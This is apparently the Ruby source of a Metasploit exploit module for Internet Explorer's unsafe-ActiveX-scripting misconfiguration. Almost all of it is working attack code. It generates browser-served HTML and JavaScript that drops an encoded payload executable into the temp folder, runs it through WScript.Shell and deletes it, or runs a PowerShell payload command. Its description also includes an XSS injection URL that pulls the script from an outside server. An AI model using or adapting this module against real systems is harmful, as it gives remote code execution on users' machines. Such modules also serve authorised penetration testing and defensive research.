metasploit-framework/modules/exploits/windows/browser/ie_unsafe_scripting.rb

178 lines
6.3 KiB
Ruby

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'msf/util/exe'
require 'msf/core/exploit/powershell'
class MetasploitModule < Msf::Exploit::Remote
Rank = ManualRanking
include Msf::Exploit::Remote::BrowserExploitServer
include Msf::Exploit::EXE
include Msf::Exploit::Powershell
VULN_CHECK_JS = %Q|
try {
new ActiveXObject("WScript.Shell");
new ActiveXObject("Scripting.FileSystemObject");
is_vuln = true;
} catch(e) {}
|
def initialize(info = {})
super(update_info(info,
'Name' => 'Microsoft Internet Explorer Unsafe Scripting Misconfiguration',
'Description' => %q{
This exploit takes advantage of the "Initialize and script ActiveX controls not
marked safe for scripting" setting within Internet Explorer. When this option is set,
IE allows access to the WScript.Shell ActiveX control, which allows javascript to
interact with the file system and run commands. This security flaw is not uncommon
in corporate environments for the 'Intranet' or 'Trusted Site' zones.
When set via domain policy, the most common registry entry to modify is HKLM\
Software\Policies\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\1201,
which if set to '0' forces ActiveX controls not marked safe for scripting to be
enabled for the Intranet zone.
This module creates a javascript/html hybrid that will render correctly either
via a direct GET http://msf-server/ or as a javascript include, such as in:
http://intranet-server/xss.asp?id="><script%20src=http://10.10.10.10/ie_unsafe_script.js>
</script>.
IE Tabs, WScript and subsequent Powershell prompts all run as x86 even when run from
an x64 iexplore.exe.
By default, this module will not attempt to fire against IEs that come with Protected
Mode enabled by default, because it can trigger a security prompt. However, if you are
feeling brave, you can choose to ignore this restriction by setting the ALLOWPROMPT
datastore option to true.
},
'License' => MSF_LICENSE,
'Author' =>
[
'natron',
'Ben Campbell' # PSH and remove ADODB.Stream
],
'References' =>
[
[ 'URL', 'http://support.microsoft.com/kb/182569' ],
[ 'URL', 'http://blog.invisibledenizen.org/2009/01/ieunsafescripting-metasploit-module.html' ],
[ 'URL', 'http://support.microsoft.com/kb/870669']
],
'DisclosureDate' => 'Sep 20 2010',
'Platform' => 'win',
'BrowserRequirements' => {
source: 'script',
os_name: OperatingSystems::Match::WINDOWS,
ua_name: HttpClients::IE,
vuln_test: VULN_CHECK_JS,
vuln_test_error: 'WScript.Shell or Scripting.FileSystemObject not allowed by browser.'
},
'Arch' => ARCH_X86,
'Targets' =>
[
[ 'Windows x86/x64', {} ]
],
'DefaultOptions' =>
{
'HTTP::compression' => 'gzip'
},
'DefaultTarget' => 0
))
register_options(
[
OptBool.new('ALLOWPROMPT', [true, 'Allow exploit to ignore the protected mode prompt', false]),
OptEnum.new('TECHNIQUE', [true, 'Delivery technique (VBS Exe Drop or PSH CMD)', 'VBS', ['VBS','Powershell']])
], self.class
)
end
# Unfortunately we don't currently have an explicit way to check whether Protected Mode is
# actually enabled or not, so we can only rely on whatever is default on the OS. This should
# allow BAP2 to always fire without worrying about the prmopt popping up, but the user can
# still ignore this by setting ALLOWPROMPT to true in standalone mode.
def has_protected_mode_prompt?(browser)
if datastore['ALLOWPROMPT']
return false
elsif OperatingSystems::Match::WINDOWS_XP === browser[:os_name]
return false
end
true
end
def on_request_exploit(cli, request, browser)
if has_protected_mode_prompt?(browser)
print_warning("This target possibly has Protected Mode, exploit aborted.")
send_not_found(cli)
return
end
# Build out the HTML response page
var_shellobj = rand_text_alpha(rand(5)+5)
p = regenerate_payload(cli)
if datastore['TECHNIQUE'] == 'VBS'
js_content = vbs_technique(var_shellobj, p)
else
js_content = psh_technique(var_shellobj, p)
end
print_status("Request received for #{request.uri}")
print_status("Sending exploit html/javascript");
# Transmit the response to the client
send_response(cli, js_content, { 'Content-Type' => 'text/html' })
# Handle the payload
handler(cli)
end
def vbs_technique(var_shellobj, p)
var_fsobj = rand_text_alpha(rand(5)+5)
var_fsobj_file = rand_text_alpha(rand(5)+5)
var_vbsname = rand_text_alpha(rand(5)+5)
var_writedir = rand_text_alpha(rand(5)+5)
exe = generate_payload_exe({ :code => p.encoded })
vbs = Msf::Util::EXE.to_exe_vbs(exe)
vbs_content = Rex::Text.to_hex(vbs)
# Build the javascript that will be served
js_content = %Q|
<html><head></head><body><script>
var #{var_shellobj} = new ActiveXObject("WScript.Shell");
var #{var_fsobj} = new ActiveXObject("Scripting.FileSystemObject");
var #{var_writedir} = #{var_shellobj}.ExpandEnvironmentStrings("%TEMP%");
var #{var_fsobj_file} = #{var_fsobj}.OpenTextFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs",2,true);
#{var_fsobj_file}.Write(unescape("#{vbs_content}"));
#{var_fsobj_file}.Close();
#{var_shellobj}.run("wscript.exe " + #{var_writedir} + "\\\\" + "#{var_vbsname}.vbs", 1, true);
#{var_fsobj}.DeleteFile(#{var_writedir} + "\\\\" + "#{var_vbsname}.vbs");
</script></html>
|
js_content
end
def psh_technique(var_shellobj, p)
cmd = Rex::Text.to_hex(cmd_psh_payload(payload.encoded, payload_instance.arch.first))
js_content = %Q|
<html><head></head><body><script>
var #{var_shellobj} = new ActiveXObject("WScript.Shell");
#{var_shellobj}.run(unescape("#{cmd}"), 1, true);
</script></html>
|
js_content
end
end